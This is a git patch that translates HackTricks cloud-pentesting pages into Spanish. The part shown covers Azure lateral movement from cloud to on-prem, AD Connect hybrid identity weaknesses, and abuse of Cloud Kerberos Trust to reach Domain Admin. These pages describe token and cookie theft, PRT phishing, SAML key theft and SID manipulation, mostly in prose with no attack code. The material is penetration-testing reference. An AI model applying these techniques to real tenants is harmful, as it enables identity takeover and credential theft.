From 192d97f7b7e51b56d41d0a2673d570a0e75eb1f6 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 31 Dec 2024 18:54:26 +0000 Subject: [PATCH] Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az --- .github/pull_request_template.md | 15 +- .../README.md | 56 +- .../README.md | 30 +- .../az-cloud-kerberos-trust.md | 48 +- .../az-default-applications.md | 6 +- .../az-synchronising-new-users.md | 30 +- .../federation.md | 112 ++- .../phs-password-hash-sync.md | 72 +- .../pta-pass-through-authentication.md | 52 +- .../seamless-sso.md | 94 ++- .../pass-the-prt.md | 168 ++--- .../azure-security/az-persistence/README.md | 46 +- .../az-persistence/az-queue-persistance.md | 18 +- .../az-persistence/az-storage-persistence.md | 34 +- .../az-persistence/az-vms-persistence.md | 22 +- .../az-post-exploitation/README.md | 7 +- .../az-blob-storage-post-exploitation.md | 34 +- .../az-file-share-post-exploitation.md | 40 +- .../az-function-apps-post-exploitation.md | 10 +- .../az-key-vault-post-exploitation.md | 50 +- .../az-queue-post-exploitation.md | 48 +- .../az-servicebus-post-exploitation.md | 52 +- .../az-sql-post-exploitation.md | 80 +-- .../az-table-storage-post-exploitation.md | 54 +- .../az-vms-and-network-post-exploitation.md | 166 ++--- .../az-privilege-escalation/README.md | 7 +- .../az-app-services-privesc.md | 16 +- .../az-authorization-privesc.md | 60 +- .../az-entraid-privesc/README.md | 236 +++--- ...-conditional-access-policies-mfa-bypass.md | 134 ++-- .../az-entraid-privesc/dynamic-groups.md | 40 +- .../az-functions-app-privesc.md | 334 ++++----- .../az-key-vault-privesc.md | 22 +- .../az-queue-privesc.md | 42 +- .../az-servicebus-privesc.md | 144 ++-- .../az-privilege-escalation/az-sql-privesc.md | 106 ++- .../az-storage-privesc.md | 112 ++- ...az-virtual-machines-and-network-privesc.md | 330 ++++----- .../azure-security/az-services/README.md | 52 +- .../azure-security/az-services/az-acr.md | 22 +- .../az-services/az-app-service.md | 70 +- .../az-services/az-application-proxy.md | 30 +- .../az-services/az-arm-templates.md | 20 +- .../az-automation-account/README.md | 112 ++- .../az-state-configuration-rce.md | 58 +- .../azure-security/az-services/az-azuread.md | 480 ++++++------- .../az-services/az-file-shares.md | 90 +-- .../az-services/az-function-apps.md | 246 ++++--- .../az-services/az-logic-apps.md | 36 +- ...roups-subscriptions-and-resource-groups.md | 30 +- .../az-services/az-queue-enum.md | 22 +- .../az-services/az-servicebus-enum.md | 72 +- .../azure-security/az-services/az-sql.md | 162 ++--- .../azure-security/az-services/az-storage.md | 440 ++++++------ .../az-services/az-table-storage.md | 74 +- .../azure-security/az-services/intune.md | 34 +- .../azure-security/az-services/keyvault.md | 98 ++- .../azure-security/az-services/vms/README.md | 476 ++++++------- .../az-services/vms/az-azure-network.md | 230 +++--- .../README.md | 212 +++--- .../az-device-code-authentication-phishing.md | 8 +- .../az-oauth-apps-phishing.md | 124 ++-- .../az-password-spraying.md | 20 +- .../az-vms-unath.md | 24 +- .../digital-ocean-pentesting/README.md | 20 +- .../do-basic-information.md | 116 ++- .../do-permissions-for-a-pentest.md | 8 +- .../do-services/README.md | 8 +- .../do-services/do-apps.md | 26 +- .../do-services/do-container-registry.md | 18 +- .../do-services/do-databases.md | 20 +- .../do-services/do-droplets.md | 42 +- .../do-services/do-functions.md | 40 +- .../do-services/do-images.md | 16 +- .../do-services/do-kubernetes-doks.md | 24 +- .../do-services/do-networking.md | 22 +- .../do-services/do-projects.md | 16 +- .../do-services/do-spaces.md | 24 +- .../do-services/do-volumes.md | 12 +- src/pentesting-cloud/gcp-security/README.md | 132 ++-- .../gcp-basic-information/README.md | 222 +++--- .../gcp-federation-abuse.md | 154 ++-- .../gcp-permissions-for-a-pentest.md | 168 ++--- .../gcp-security/gcp-persistence/README.md | 7 +- .../gcp-api-keys-persistence.md | 14 +- .../gcp-app-engine-persistence.md | 16 +- .../gcp-artifact-registry-persistence.md | 44 +- .../gcp-bigquery-persistence.md | 12 +- .../gcp-cloud-functions-persistence.md | 16 +- .../gcp-cloud-run-persistence.md | 20 +- .../gcp-cloud-shell-persistence.md | 52 +- .../gcp-cloud-sql-persistence.md | 24 +- .../gcp-compute-persistence.md | 16 +- .../gcp-dataflow-persistence.md | 48 +- .../gcp-filestore-persistence.md | 12 +- .../gcp-logging-persistence.md | 14 +- .../gcp-non-svc-persistance.md | 78 +- .../gcp-secret-manager-persistence.md | 20 +- .../gcp-storage-persistence.md | 20 +- .../gcp-post-exploitation/README.md | 7 +- .../gcp-app-engine-post-exploitation.md | 34 +- ...gcp-artifact-registry-post-exploitation.md | 12 +- .../gcp-cloud-build-post-exploitation.md | 26 +- .../gcp-cloud-functions-post-exploitation.md | 150 ++-- .../gcp-cloud-run-post-exploitation.md | 18 +- .../gcp-cloud-shell-post-exploitation.md | 60 +- .../gcp-cloud-sql-post-exploitation.md | 58 +- .../gcp-compute-post-exploitation.md | 114 ++- .../gcp-filestore-post-exploitation.md | 92 ++- .../gcp-iam-post-exploitation.md | 22 +- .../gcp-kms-post-exploitation.md | 232 +++--- .../gcp-logging-post-exploitation.md | 46 +- .../gcp-monitoring-post-exploitation.md | 64 +- .../gcp-pub-sub-post-exploitation.md | 94 +-- .../gcp-secretmanager-post-exploitation.md | 12 +- .../gcp-security-post-exploitation.md | 32 +- .../gcp-storage-post-exploitation.md | 20 +- .../gcp-workflows-post-exploitation.md | 14 +- .../gcp-privilege-escalation/README.md | 68 +- .../gcp-apikeys-privesc.md | 54 +- .../gcp-appengine-privesc.md | 58 +- .../gcp-artifact-registry-privesc.md | 138 ++-- .../gcp-batch-privesc.md | 78 +- .../gcp-bigquery-privesc.md | 72 +- .../gcp-clientauthconfig-privesc.md | 10 +- .../gcp-cloudbuild-privesc.md | 48 +- .../gcp-cloudfunctions-privesc.md | 70 +- .../gcp-cloudidentity-privesc.md | 18 +- .../gcp-cloudscheduler-privesc.md | 76 +- .../gcp-composer-privesc.md | 94 ++- .../gcp-compute-privesc/README.md | 86 +-- .../gcp-add-custom-ssh-metadata.md | 98 ++- .../gcp-container-privesc.md | 80 +-- .../gcp-deploymentmaneger-privesc.md | 16 +- .../gcp-iam-privesc.md | 104 ++- .../gcp-kms-privesc.md | 74 +- ...local-privilege-escalation-ssh-pivoting.md | 64 +- .../gcp-misc-perms-privesc.md | 20 +- .../gcp-network-docker-escape.md | 46 +- .../gcp-orgpolicy-privesc.md | 12 +- .../gcp-pubsub-privesc.md | 18 +- .../gcp-resourcemanager-privesc.md | 10 +- .../gcp-run-privesc.md | 34 +- .../gcp-secretmanager-privesc.md | 20 +- .../gcp-serviceusage-privesc.md | 32 +- .../gcp-sourcerepos-privesc.md | 52 +- .../gcp-storage-privesc.md | 70 +- .../gcp-workflows-privesc.md | 112 ++- .../gcp-security/gcp-services/README.md | 7 +- .../gcp-services/gcp-ai-platform-enum.md | 10 +- .../gcp-services/gcp-api-keys-enum.md | 26 +- .../gcp-services/gcp-app-engine-enum.md | 62 +- .../gcp-artifact-registry-enum.md | 66 +- .../gcp-services/gcp-batch-enum.md | 18 +- .../gcp-services/gcp-bigquery-enum.md | 168 ++--- .../gcp-services/gcp-bigtable-enum.md | 8 +- .../gcp-services/gcp-cloud-build-enum.md | 152 ++-- .../gcp-services/gcp-cloud-functions-enum.md | 62 +- .../gcp-services/gcp-cloud-run-enum.md | 60 +- .../gcp-services/gcp-cloud-scheduler-enum.md | 36 +- .../gcp-services/gcp-cloud-shell-enum.md | 20 +- .../gcp-services/gcp-cloud-sql-enum.md | 68 +- .../gcp-services/gcp-composer-enum.md | 14 +- .../gcp-compute-instances-enum/README.md | 140 ++-- .../gcp-compute-instance.md | 72 +- .../gcp-vpc-and-networking.md | 84 ++- .../gcp-containers-gke-and-composer-enum.md | 60 +- .../gcp-security/gcp-services/gcp-dns-enum.md | 8 +- .../gcp-services/gcp-filestore-enum.md | 54 +- .../gcp-services/gcp-firebase-enum.md | 62 +- .../gcp-services/gcp-firestore-enum.md | 8 +- .../gcp-iam-and-org-policies-enum.md | 112 ++- .../gcp-security/gcp-services/gcp-kms-enum.md | 72 +- .../gcp-services/gcp-logging-enum.md | 140 ++-- .../gcp-services/gcp-memorystore-enum.md | 10 +- .../gcp-services/gcp-monitoring-enum.md | 34 +- .../gcp-security/gcp-services/gcp-pub-sub.md | 48 +- .../gcp-services/gcp-secrets-manager-enum.md | 28 +- .../gcp-services/gcp-security-enum.md | 92 ++- .../gcp-source-repositories-enum.md | 50 +- .../gcp-services/gcp-spanner-enum.md | 8 +- .../gcp-services/gcp-stackdriver-enum.md | 16 +- .../gcp-services/gcp-storage-enum.md | 120 ++-- .../gcp-services/gcp-workflows-enum.md | 20 +- .../gcp-to-workspace-pivoting/README.md | 136 ++-- ...cp-understanding-domain-wide-delegation.md | 32 +- .../README.md | 20 +- .../gcp-api-keys-unauthenticated-enum.md | 42 +- .../gcp-app-engine-unauthenticated-enum.md | 14 +- ...-artifact-registry-unauthenticated-enum.md | 12 +- .../gcp-cloud-build-unauthenticated-enum.md | 22 +- ...cp-cloud-functions-unauthenticated-enum.md | 76 +- .../gcp-cloud-run-unauthenticated-enum.md | 56 +- .../gcp-cloud-sql-unauthenticated-enum.md | 14 +- .../gcp-compute-unauthenticated-enum.md | 16 +- ...principals-and-org-unauthenticated-enum.md | 88 +-- ...ource-repositories-unauthenticated-enum.md | 18 +- .../README.md | 64 +- ...gcp-public-buckets-privilege-escalation.md | 28 +- .../ibm-cloud-pentesting/README.md | 26 +- .../ibm-basic-information.md | 68 +- .../ibm-hyper-protect-crypto-services.md | 32 +- .../ibm-hyper-protect-virtual-server.md | 42 +- .../kubernetes-security/README.md | 22 +- .../README.md | 646 ++++++++--------- .../kubernetes-roles-abuse-lab.md | 536 +++++++------- .../pod-escape-privileges.md | 66 +- .../attacking-kubernetes-from-inside-a-pod.md | 286 ++++---- .../exposing-services-in-kubernetes.md | 208 +++--- .../kubernetes-security/kubernetes-basics.md | 572 +++++++-------- .../kubernetes-enumeration.md | 340 ++++----- .../kubernetes-external-secrets-operator.md | 122 ++-- .../kubernetes-hardening/README.md | 184 +++-- .../kubernetes-securitycontext-s.md | 78 +- .../kubernetes-kyverno/README.md | 70 +- .../kubernetes-kyverno-bypass.md | 64 +- .../kubernetes-namespace-escalation.md | 26 +- .../kubernetes-network-attacks.md | 262 ++++--- .../kubernetes-opa-gatekeeper/README.md | 88 ++- .../kubernetes-opa-gatekeeper-bypass.md | 40 +- .../kubernetes-pivoting-to-clouds.md | 286 ++++---- ...bernetes-role-based-access-control-rbac.md | 146 ++-- ...bernetes-validatingwebhookconfiguration.md | 106 ++- .../pentesting-kubernetes-services/README.md | 142 ++-- ...ubelet-authentication-and-authorization.md | 150 ++-- .../openshift-pentesting/README.md | 10 +- .../openshift-basic-information.md | 26 +- .../openshift-jenkins/README.md | 38 +- .../openshift-jenkins-build-overrides.md | 451 ++++++------ .../openshift-privilege-escalation/README.md | 10 +- .../openshift-missing-service-account.md | 20 +- .../openshift-scc-bypass.md | 124 ++-- .../openshift-tekton.md | 72 +- .../openshift-pentesting/openshift-scc.md | 54 +- .../workspace-security/README.md | 64 +- .../gws-google-platforms-phishing/README.md | 144 ++-- .../gws-app-scripts.md | 230 +++--- .../workspace-security/gws-persistence.md | 192 +++-- .../gws-post-exploitation.md | 62 +- .../README.md | 40 +- .../gcds-google-cloud-directory-sync.md | 284 ++++---- ...-google-credential-provider-for-windows.md | 672 ++++++++---------- .../gps-google-password-sync.md | 184 +++-- .../gws-admin-directory-sync.md | 64 +- 244 files changed, 8835 insertions(+), 11676 deletions(-) diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index 5e04d31db..b493ae714 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -1,16 +1,11 @@ -You can remove this content before sending the PR: +Puedes eliminar este contenido antes de enviar el PR: ## Attribution -We value your knowledge and encourage you to share content. Please ensure that you only upload content that you own or that have permission to share it from the original author (adding a reference to the author in the added text or at the end of the page you are modifying or both). Your respect for intellectual property rights fosters a trustworthy and legal sharing environment for everyone. +Valoramos tu conocimiento y te animamos a compartir contenido. Asegúrate de que solo subes contenido que posees o que tienes permiso para compartir del autor original (agregando una referencia al autor en el texto añadido o al final de la página que estás modificando o ambos). Tu respeto por los derechos de propiedad intelectual fomenta un entorno de compartición confiable y legal para todos. ## HackTricks Training -If you are adding so you can pass the in the [ARTE certification](https://training.hacktricks.xyz/courses/arte) exam with 2 flags instead of 3, you need to call the PR `arte-`. - -Also, remember that grammar/syntax fixes won't be accepted for the exam flag reduction. - - -In any case, thanks for contributing to HackTricks! - - +Si estás añadiendo para que puedas aprobar el examen de la [certificación ARTE](https://training.hacktricks.xyz/courses/arte) con 2 flags en lugar de 3, necesitas llamar al PR `arte-`. +Además, recuerda que las correcciones de gramática/sintaxis no serán aceptadas para la reducción de flags del examen. +En cualquier caso, ¡gracias por contribuir a HackTricks! diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md index 855759013..2f0aede61 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md @@ -1,69 +1,65 @@ -# Az - Lateral Movement (Cloud - On-Prem) +# Az - Movimiento Lateral (Nube - Local) -## Az - Lateral Movement (Cloud - On-Prem) +## Az - Movimiento Lateral (Nube - Local) {{#include ../../../banners/hacktricks-training.md}} -### On-Prem machines connected to cloud +### Máquinas locales conectadas a la nube -There are different ways a machine can be connected to the cloud: +Hay diferentes formas en que una máquina puede estar conectada a la nube: -#### Azure AD joined +#### Unida a Azure AD
-#### Workplace joined +#### Unida al lugar de trabajo

https://pbs.twimg.com/media/EQZv7UHXsAArdhn?format=jpg&name=large

-#### Hybrid joined +#### Unida de forma híbrida

https://pbs.twimg.com/media/EQZv77jXkAAC4LK?format=jpg&name=large

-#### Workplace joined on AADJ or Hybrid +#### Unida al lugar de trabajo en AADJ o híbrido

https://pbs.twimg.com/media/EQZv8qBX0AAMWuR?format=jpg&name=large

-### Tokens and limitations +### Tokens y limitaciones -In Azure AD, there are different types of tokens with specific limitations: +En Azure AD, hay diferentes tipos de tokens con limitaciones específicas: -- **Access tokens**: Used to access APIs and resources like the Microsoft Graph. They are tied to a specific client and resource. -- **Refresh tokens**: Issued to applications to obtain new access tokens. They can only be used by the application they were issued to or a group of applications. -- **Primary Refresh Tokens (PRT)**: Used for Single Sign-On on Azure AD joined, registered, or hybrid joined devices. They can be used in browser sign-in flows and for signing in to mobile and desktop applications on the device. -- **Windows Hello for Business keys (WHFB)**: Used for passwordless authentication. It's used to get Primary Refresh Tokens. +- **Tokens de acceso**: Utilizados para acceder a APIs y recursos como Microsoft Graph. Están vinculados a un cliente y recurso específicos. +- **Tokens de actualización**: Emitidos a aplicaciones para obtener nuevos tokens de acceso. Solo pueden ser utilizados por la aplicación a la que fueron emitidos o un grupo de aplicaciones. +- **Tokens de actualización primarios (PRT)**: Utilizados para el inicio de sesión único en dispositivos unidos a Azure AD, registrados o unidos de forma híbrida. Pueden ser utilizados en flujos de inicio de sesión en navegadores y para iniciar sesión en aplicaciones móviles y de escritorio en el dispositivo. +- **Claves de Windows Hello for Business (WHFB)**: Utilizadas para autenticación sin contraseña. Se utilizan para obtener Tokens de Actualización Primarios. -The most interesting type of token is the Primary Refresh Token (PRT). +El tipo de token más interesante es el Token de Actualización Primario (PRT). {{#ref}} az-primary-refresh-token-prt.md {{#endref}} -### Pivoting Techniques +### Técnicas de Pivoting -From the **compromised machine to the cloud**: +Desde la **máquina comprometida a la nube**: -- [**Pass the Cookie**](az-pass-the-cookie.md): Steal Azure cookies from the browser and use them to login -- [**Dump processes access tokens**](az-processes-memory-access-token.md): Dump the memory of local processes synchronized with the cloud (like excel, Teams...) and find access tokens in clear text. -- [**Phishing Primary Refresh Token**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Phish the PRT to abuse it -- [**Pass the PRT**](pass-the-prt.md): Steal the device PRT to access Azure impersonating it. -- [**Pass the Certificate**](az-pass-the-certificate.md)**:** Generate a cert based on the PRT to login from one machine to another +- [**Pasar la Cookie**](az-pass-the-cookie.md): Robar cookies de Azure del navegador y usarlas para iniciar sesión +- [**Volcar tokens de acceso de procesos**](az-processes-memory-access-token.md): Volcar la memoria de procesos locales sincronizados con la nube (como excel, Teams...) y encontrar tokens de acceso en texto claro. +- [**Phishing del Token de Actualización Primario**](az-phishing-primary-refresh-token-microsoft-entra.md)**:** Phishing del PRT para abusar de él +- [**Pasar el PRT**](pass-the-prt.md): Robar el PRT del dispositivo para acceder a Azure impersonándolo. +- [**Pasar el Certificado**](az-pass-the-certificate.md)**:** Generar un certificado basado en el PRT para iniciar sesión de una máquina a otra -From compromising **AD** to compromising the **Cloud** and from compromising the **Cloud to** compromising **AD**: +Desde comprometer **AD** hasta comprometer la **Nube** y desde comprometer la **Nube** hasta comprometer **AD**: - [**Azure AD Connect**](azure-ad-connect-hybrid-identity/) -- **Another way to pivot from could to On-Prem is** [**abusing Intune**](../az-services/intune.md) +- **Otra forma de pivotar de la nube a local es** [**abusar de Intune**](../az-services/intune.md) #### [Roadtx](https://github.com/dirkjanm/ROADtools) -This tool allows to perform several actions like register a machine in Azure AD to obtain a PRT, and use PRTs (legit or stolen) to access resources in several different ways. These are not direct attacks, but it facilitates the use of PRTs to access resources in different ways. Find more info in [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/) +Esta herramienta permite realizar varias acciones como registrar una máquina en Azure AD para obtener un PRT, y usar PRTs (legítimos o robados) para acceder a recursos de varias maneras diferentes. Estos no son ataques directos, pero facilitan el uso de PRTs para acceder a recursos de diferentes maneras. Encuentra más información en [https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/](https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/) -## References +## Referencias - [https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md index ec734cb69..83c42d5b3 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md @@ -1,64 +1,58 @@ -# Az AD Connect - Hybrid Identity +# Az AD Connect - Identidad Híbrida {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -Integration between **On-premises Active Directory (AD)** and **Azure AD** is facilitated by **Azure AD Connect**, offering various methods that support **Single Sign-on (SSO)**. Each method, while useful, presents potential security vulnerabilities that could be exploited to compromise cloud or on-premises environments: +La integración entre **Active Directory (AD) local** y **Azure AD** es facilitada por **Azure AD Connect**, ofreciendo varios métodos que soportan **Single Sign-on (SSO)**. Cada método, aunque útil, presenta vulnerabilidades de seguridad potenciales que podrían ser explotadas para comprometer entornos en la nube o locales: - **Pass-Through Authentication (PTA)**: - - Possible compromise of the agent on the on-prem AD, allowing validation of user passwords for Azure connections (on-prem to Cloud). - - Feasibility of registering a new agent to validate authentications in a new location (Cloud to on-prem). +- Posible compromiso del agente en el AD local, permitiendo la validación de contraseñas de usuario para conexiones de Azure (local a la Nube). +- Viabilidad de registrar un nuevo agente para validar autenticaciones en una nueva ubicación (Nube a local). {{#ref}} pta-pass-through-authentication.md {{#endref}} - **Password Hash Sync (PHS)**: - - Potential extraction of clear-text passwords of privileged users from the AD, including credentials of a high-privileged, auto-generated AzureAD user. +- Extracción potencial de contraseñas en texto claro de usuarios privilegiados del AD, incluyendo credenciales de un usuario de AzureAD de alto privilegio, auto-generado. {{#ref}} phs-password-hash-sync.md {{#endref}} - **Federation**: - - Theft of the private key used for SAML signing, enabling impersonation of on-prem and cloud identities. +- Robo de la clave privada utilizada para la firma SAML, permitiendo la suplantación de identidades locales y en la nube. {{#ref}} federation.md {{#endref}} - **Seamless SSO:** - - Theft of the `AZUREADSSOACC` user's password, used for signing Kerberos silver tickets, allowing impersonation of any cloud user. +- Robo de la contraseña del usuario `AZUREADSSOACC`, utilizada para firmar tickets de Kerberos silver, permitiendo la suplantación de cualquier usuario en la nube. {{#ref}} seamless-sso.md {{#endref}} - **Cloud Kerberos Trust**: - - Possibility of escalating from Global Admin to on-prem Domain Admin by manipulating AzureAD user usernames and SIDs and requesting TGTs from AzureAD. +- Posibilidad de escalar de Administrador Global a Administrador de Dominio local manipulando los nombres de usuario y SIDs de usuarios de AzureAD y solicitando TGTs de AzureAD. {{#ref}} az-cloud-kerberos-trust.md {{#endref}} - **Default Applications**: - - Compromising an Application Administrator account or the on-premise Sync Account allows modification of directory settings, group memberships, user accounts, SharePoint sites, and OneDrive files. +- Comprometer una cuenta de Administrador de Aplicaciones o la Cuenta de Sincronización local permite modificar configuraciones de directorio, membresías de grupos, cuentas de usuario, sitios de SharePoint y archivos de OneDrive. {{#ref}} az-default-applications.md {{#endref}} -For each integration method, user synchronization is conducted, and an `MSOL_` account is created in the on-prem AD. Notably, both **PHS** and **PTA** methods facilitate **Seamless SSO**, enabling automatic sign-in for Azure AD computers joined to the on-prem domain. - -To verify the installation of **Azure AD Connect**, the following PowerShell command, utilizing the **AzureADConnectHealthSync** module (installed by default with Azure AD Connect), can be used: +Para cada método de integración, se lleva a cabo la sincronización de usuarios, y se crea una cuenta `MSOL_` en el AD local. Notablemente, tanto los métodos **PHS** como **PTA** facilitan **Seamless SSO**, permitiendo el inicio de sesión automático para computadoras de Azure AD unidas al dominio local. +Para verificar la instalación de **Azure AD Connect**, se puede utilizar el siguiente comando de PowerShell, utilizando el módulo **AzureADConnectHealthSync** (instalado por defecto con Azure AD Connect): ```powershell Get-ADSyncConnector ``` - {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md index 0b8debf3e..d02cb4343 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md @@ -2,52 +2,48 @@ {{#include ../../../../banners/hacktricks-training.md}} -**This post is a summary of** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **which can be checked for further information about the attack. This technique is also commented in** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.** +**Esta publicación es un resumen de** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **que se puede consultar para obtener más información sobre el ataque. Esta técnica también se comenta en** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.** -## Basic Information +## Información Básica -### Trust +### Confianza -When a trust is stablished with Azure AD, a **Read Only Domain Controller (RODC) is created in the AD.** The **RODC computer account**, named **`AzureADKerberos$`**. Also, a secondary `krbtgt` account named **`krbtgt_AzureAD`**. This account contains the **Kerberos keys** used for tickets that Azure AD creates. +Cuando se establece una confianza con Azure AD, se crea un **Controlador de Dominio de Solo Lectura (RODC) en el AD.** La **cuenta de computadora RODC**, llamada **`AzureADKerberos$`**. Además, una cuenta secundaria `krbtgt` llamada **`krbtgt_AzureAD`**. Esta cuenta contiene las **claves de Kerberos** utilizadas para los tickets que crea Azure AD. -Therefore, if this account is compromised it could be possible to impersonate any user... although this is not true because this account is prevented from creating tickets for any common privileged AD group like Domain Admins, Enterprise Admins, Administrators... +Por lo tanto, si esta cuenta se ve comprometida, podría ser posible suplantar a cualquier usuario... aunque esto no es cierto porque esta cuenta está impedida de crear tickets para cualquier grupo privilegiado común de AD como Administradores de Dominio, Administradores Empresariales, Administradores... > [!CAUTION] -> However, in a real scenario there are going to be privileged users that aren't in those groups. So the **new krbtgt account, if compromised, could be used to impersonate them.** +> Sin embargo, en un escenario real habrá usuarios privilegiados que no están en esos grupos. Así que la **nueva cuenta krbtgt, si se ve comprometida, podría usarse para suplantarlos.** ### Kerberos TGT -Moreover, when a user authenticates on Windows using a hybrid identity **Azure AD** will issue **partial Kerberos ticket along with the PRT.** The TGT is partial because **AzureAD has limited information** of the user in the on-prem AD (like the security identifier (SID) and the name).\ -Windows can then **exchange this partial TGT for a full TGT** by requesting a service ticket for the `krbtgt` service. +Además, cuando un usuario se autentica en Windows utilizando una identidad híbrida, **Azure AD** emitirá un **ticket Kerberos parcial junto con el PRT.** El TGT es parcial porque **AzureAD tiene información limitada** del usuario en el AD local (como el identificador de seguridad (SID) y el nombre).\ +Windows puede entonces **intercambiar este TGT parcial por un TGT completo** solicitando un ticket de servicio para el servicio `krbtgt`. ### NTLM -As there could be services that doesn't support kerberos authentication but NTLM, it's possible to request a **partial TGT signed using a secondary `krbtgt`** key including the **`KERB-KEY-LIST-REQ`** field in the **PADATA** part of the request and then get a full TGT signed with the primary `krbtgt` key **including the NT hash in the response**. +Como podría haber servicios que no admiten autenticación kerberos sino NTLM, es posible solicitar un **TGT parcial firmado utilizando una clave secundaria `krbtgt`** incluyendo el **campo `KERB-KEY-LIST-REQ`** en la parte **PADATA** de la solicitud y luego obtener un TGT completo firmado con la clave primaria `krbtgt` **incluyendo el hash NT en la respuesta**. -## Abusing Cloud Kerberos Trust to obtain Domain Admin +## Abusando de la Confianza de Cloud Kerberos para obtener Administrador de Dominio -When AzureAD generates a **partial TGT** it will be using the details it has about the user. Therefore, if a Global Admin could modify data like the **security identifier and name of the user in AzureAD**, when requesting a TGT for that user the **security identifier would be a different one**. +Cuando AzureAD genera un **TGT parcial**, lo hará utilizando los detalles que tiene sobre el usuario. Por lo tanto, si un Administrador Global pudiera modificar datos como el **identificador de seguridad y el nombre del usuario en AzureAD**, al solicitar un TGT para ese usuario, el **identificador de seguridad sería uno diferente**. -It's not possible to do that through the Microsoft Graph or the Azure AD Graph, but it's possible to use the **API Active Directory Connect** uses to create and update synced users, which can be used by the Global Admins to **modify the SAM name and SID of any hybrid user**, and then if we authenticate, we get a partial TGT containing the modified SID. +No es posible hacer eso a través de Microsoft Graph o Azure AD Graph, pero es posible utilizar la **API que utiliza Active Directory Connect** para crear y actualizar usuarios sincronizados, que pueden ser utilizados por los Administradores Globales para **modificar el nombre SAM y el SID de cualquier usuario híbrido**, y luego, si nos autenticamos, obtenemos un TGT parcial que contiene el SID modificado. -Note that we can do this with AADInternals and update to synced users via the [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a) cmdlet. +Tenga en cuenta que podemos hacer esto con AADInternals y actualizar a usuarios sincronizados a través del cmdlet [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a). -### Attack prerequisites +### Prerrequisitos del ataque -The success of the attack and attainment of Domain Admin privileges hinge on meeting certain prerequisites: +El éxito del ataque y la obtención de privilegios de Administrador de Dominio dependen de cumplir ciertos prerrequisitos: -- The capability to alter accounts via the Synchronization API is crucial. This can be achieved by having the role of Global Admin or possessing an AD Connect sync account. Alternatively, the Hybrid Identity Administrator role would suffice, as it grants the ability to manage AD Connect and establish new sync accounts. -- Presence of a **hybrid account** is essential. This account must be amenable to modification with the victim account's details and should also be accessible for authentication. -- Identification of a **target victim account** within Active Directory is a necessity. Although the attack can be executed on any account already synchronized, the Azure AD tenant must not have replicated on-premises security identifiers, necessitating the modification of an unsynchronized account to procure the ticket. - - Additionally, this account should possess domain admin equivalent privileges but must not be a member of typical AD administrator groups to avoid the generation of invalid TGTs by the AzureAD RODC. - - The most suitable target is the **Active Directory account utilized by the AD Connect Sync service**. This account is not synchronized with Azure AD, leaving its SID as a viable target, and it inherently holds Domain Admin equivalent privileges due to its role in synchronizing password hashes (assuming Password Hash Sync is active). For domains with express installation, this account is prefixed with **MSOL\_**. For other instances, the account can be pinpointed by enumerating all accounts endowed with Directory Replication privileges on the domain object. +- La capacidad de alterar cuentas a través de la API de Sincronización es crucial. Esto se puede lograr teniendo el rol de Administrador Global o poseyendo una cuenta de sincronización de AD Connect. Alternativamente, el rol de Administrador de Identidad Híbrida sería suficiente, ya que otorga la capacidad de gestionar AD Connect y establecer nuevas cuentas de sincronización. +- La presencia de una **cuenta híbrida** es esencial. Esta cuenta debe ser susceptible de modificación con los detalles de la cuenta de la víctima y también debe ser accesible para la autenticación. +- La identificación de una **cuenta de víctima objetivo** dentro de Active Directory es una necesidad. Aunque el ataque se puede ejecutar en cualquier cuenta ya sincronizada, el inquilino de Azure AD no debe haber replicado identificadores de seguridad locales, lo que requiere la modificación de una cuenta no sincronizada para obtener el ticket. +- Además, esta cuenta debe poseer privilegios equivalentes a administrador de dominio, pero no debe ser miembro de grupos típicos de administradores de AD para evitar la generación de TGTs inválidos por el RODC de AzureAD. +- El objetivo más adecuado es la **cuenta de Active Directory utilizada por el servicio de sincronización de AD Connect**. Esta cuenta no está 